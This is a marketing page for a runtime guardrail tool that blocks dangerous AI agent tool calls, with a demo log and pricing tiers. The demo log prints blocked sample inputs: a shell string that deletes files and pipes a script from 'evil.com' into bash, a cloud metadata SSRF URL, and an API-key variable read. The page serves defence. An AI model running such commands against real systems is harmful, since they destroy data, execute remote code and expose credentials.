🛡️ Runtime Guardrail ⚡ 22µs P50 latency

Block RCE, SSRF & env leaks
in real-time

Intercept dangerous tool calls before they execute. 22µs P50 overhead via GuardrailProvider. MCP Server mode with fault diagnosis and repair suggestions.

$ pip install correctover-runtime-guard

Quick Start

Start the guard in seconds. Every tool call is intercepted and validated.

bash — correctover-runtime-guard
# Install from PyPI $ pip install correctover-runtime-guard Successfully installed correctover-runtime-guard-1.0.0 # Start the runtime guard $ correctover-runtime-guard start ╭─ Correctover Runtime Guard ────────────────────╮ │ GuardrailProvider: ACTIVE │ │ P50 latency: 22µs | P99: 47µs │ │ Mode: fail-closed │ │ Free tier: 1,500 calls/month (50/day) │ ╰─────────────────────────────────────────────────╯ # Agent attempts to execute a dangerous tool call... ✗ BLOCKED RCE Attempt (CWE-78) Tool: shell_exec Input: "rm -rf /tmp/cache && curl evil.com/exfil | bash" Rule: SHELL-INJECTION-PATTERN Action: BLOCKED (fail-closed) ✗ BLOCKED SSRF Attempt (CWE-918) Tool: http_fetch Input: "http://169.254.169.254/latest/meta-data/" Rule: METADATA-ENDPOINT-ACCESS Action: BLOCKED (fail-closed) ✗ BLOCKED Env Leak (CWE-200) Tool: env_read Input: "OPENAI_API_KEY" Rule: SENSITIVE-ENV-VAR-ACCESS Action: BLOCKED (fail-closed) ───────────────────────────────────────────────── Calls today: 47/50 (free tier) Guard active — all tool calls intercepted ✓ # MCP Server mode — diagnose errors $ correctover-runtime-guard diagnose_error --error "Permission denied" → Pattern match: CCS-FAULT-078 (fail-open bypass) → Suggestion: Add explicit except handler with deny action

Interception Coverage

Every tool call is validated before execution. Fail-closed by default.

💉

RCE Interception

Block command injection attempts through shell exec, eval, subprocess with shell=True, and os.system calls.

CWE-78
🌐

SSRF Blocking

Prevent access to internal IPs, cloud metadata endpoints, and restricted URL patterns from LLM-driven fetches.

CWE-918
🔑

Env Leak Prevention

Block reads of sensitive environment variables like API keys, database credentials, and service tokens.

CWE-200
🔧

MCP Server Mode

Three MCP tools: diagnose_error, get_fault_pattern, and get_repair_suggestion for runtime diagnosis.

MCP Tools

Pricing

Start free with 1,500 calls/month. Upgrade for unlimited protection.

Free
$0
No credit card required
Hard limit: 50 calls/day (1,500/mo)
  • RCE/SSRF/Env leak interception
  • 22µs P50 latency
  • Fail-closed mode
  • MCP server mode (3 tools)
  • Custom guardrail policies
  • Dedicated support
Download from PyPI
Enterprise
$1,999/mo
For production AI agents
Unlimited calls
  • Everything in Free
  • Unlimited calls/month
  • Custom guardrail policies
  • Multi-agent deployment
  • Dedicated support + SLA
  • Audit log retention (1yr)
Contact Sales
Custom
Talk to us
For large-scale deployments
Tailored to your needs
  • Everything in Enterprise
  • On-premise deployment
  • Custom fault taxonomy
  • Integration with existing SIEM
  • 24/7 dedicated support
  • SAML SSO + audit reports
Contact Sales

Deploy Runtime Guard

Protect your AI agents in production. 22µs overhead, fail-closed by default.

Get Started — Contact Sales Download from PyPI
$ pip install correctover-runtime-guard